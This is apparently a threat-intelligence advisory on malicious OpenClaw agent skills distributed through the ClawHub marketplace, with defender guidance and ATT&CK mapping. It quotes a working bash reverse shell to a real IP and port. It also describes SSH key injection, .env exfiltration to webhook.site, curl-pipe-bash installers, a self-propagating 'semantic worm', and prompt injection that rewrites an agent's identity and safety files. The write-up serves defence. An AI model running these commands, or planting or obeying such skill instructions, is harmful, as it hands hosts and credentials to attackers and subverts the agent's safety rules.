# Malicious OpenClaw AI Agent Skills: Reverse Shells, Semantic Worm, SSH Key Injection, Credential Exfiltration and Cognitive Rootkit

> VirusTotal reports that the OpenClaw AI agent skill ecosystem (ClawHub) is being used as a supply-chain malware delivery channel. Five named malicious skills deliver a bash reverse shell, a self-propagating 'semantic worm', SSH authorized_keys injection, .env credential exfiltration to webhook.site, and persistent prompt injection into SOUL.md/AGENTS.md (a 'cognitive rootkit').

- **Published:** 2026-10-19T17:45:21Z
- **Last reviewed:** 2026-10-19T17:45:21Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-3907
- **ID:** TL-2026-3907
- **Severity:** HIGH
- **Category:** SUPPLY_CHAIN
- **Status:** ACTIVE
- **Detections:** 9 · **IOCs:** 28 (full data via the Threadlinqs MCP server — Purple tier)

## Description

OpenClaw is a self-hosted AI agent that can run shell commands, perform file operations and make network requests on the user's behalf, so a malicious skill inherits a blast radius of effectively the whole host. Skills are small packages built around a SKILL.md file plus optional scripts, and are discovered and installed mostly from ClawHub, the public marketplace. VirusTotal (Bernardo Quintero) first described the weaponization of this ecosystem on 2026-02-02 (Part I: hundreds of malicious skills out of 3,016+ analyzed with Code Insight, including 314+ published by the ClawHub account hightower6eu, delivering packed Windows trojans and macOS stealers including Atomic Stealer via password-protected ZIPs on GitHub and obfuscated Base64 shell scripts on glot.io).

Part II (2026-02-05) documents five skills, each representing a distinct technique. 'better-polymarket' (author noreplyboter) embeds a bash reverse shell (bash -i >& /dev/tcp/54.91.154.110/13338 0>&1, backgrounded with nohup), giving the operator interactive RCE as the agent's user. 'wake-up' (cgallic) is a 'semantic worm': it contacts mydeadinternet.com, tracks propagation through a referred_by field on an /api/infections endpoint, and persists through HEARTBEAT.md on a roughly 4-hour cycle. 'evilweather' (fobonacci404) chains a legitimate wttr.in weather lookup with a command that appends an attacker ssh-rsa key to /root/.ssh/authorized_keys with errors suppressed (2>/dev/null). 'rankaj' (rjnpage) pairs an Open-Meteo weather lookup with silent exfiltration of the .env file to webhook.site. 'devinism' (jeffreyling) uses a remote curl | bash installer to modify SOUL.md and AGENTS.md, permanently altering the agent's identity and safety rules.

Common tradecraft: execution hijacking (a warmup() function running before argument parsing), dual-purpose functions that mask theft inside useful behavior, and command chaining of a legitimate command followed by a malicious payload. Because the payloads can be natural-language instructions as well as code, static scanning can miss them; OpenClaw itself stated on 2026-02-08, when it announced VirusTotal scanning of ClawHub uploads, that scanning is 'not a silver bullet' against concealed prompt injection. Later reporting (Koi Security audit 2026-02-01: 341 of 2,857 skills; RankClaw: 1,103; Unit 42 on 2026-06-23) shows the abuse is persistent. The VirusTotal source states no CVE, CVSS or attribution; severity is analyst-assigned.

Defender focus: inventory installed skills and their hashes, alert on egress from agent hosts to non-allowlisted destinations (raw IP:13338, webhook.site, mydeadinternet.com), watch for writes to authorized_keys and to SOUL.md/AGENTS.md/HEARTBEAT.md, and block curl | bash on agent hosts.

## MITRE ATT&CK

- T1195.002 Compromise Software Supply Chain
- T1204.002 Malicious File
- T1059.004 Unix Shell
- T1098.004 SSH Authorized Keys
- T1036 Masquerading
- T1027 Obfuscated Files or Information
- T1552.001 Credentials In Files
- T1071.001 Web Protocols
- T1567 Exfiltration Over Web Service
- T1565.001 Stored Data Manipulation
- AML.T0010 AI Supply Chain Compromise
- AML.T0051 LLM Prompt Injection

## Sources

- [From Automation to Infection (Part II): Reverse Shells, Semantic Worms, and Cognitive Rootkits in OpenClaw Skills](https://blog.virustotal.com/2026/02/from-automation-to-infection-part-ii.html)
- [From Automation to Infection: How OpenClaw AI Agent Skills Are Being Weaponized (Part I)](https://blog.virustotal.com/2026/02/from-automation-to-infection-how.html)
- [OpenClaw Integrates VirusTotal Scanning to Detect Malicious ClawHub Skills](https://thehackernews.com/2026/02/openclaw-integrates-virustotal-scanning.html)
- [Unit 42: OpenClaw AI supply chain risk](https://unit42.paloaltonetworks.com/openclaw-ai-supply-chain/)
- [Under malware threat, runaway AI agent project OpenClaw turns to Google's VirusTotal](https://itnews.com.au/news/under-malware-threat-runaway-ai-agent-project-openclaw-turns-to-googles-virustotal-623450)
- [Multiple malicious OpenClaw skills found online - including two macOS infostealers](https://techradar.com/pro/security/multiple-malicious-openclaw-skills-found-online-including-two-macos-infostealers)
- [OpenClaw ClawHub Alert: 1,103 Malicious Skills Found](https://insiderllm.com/guides/openclaw-clawhub-security-alert/)

## Full data

Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-3907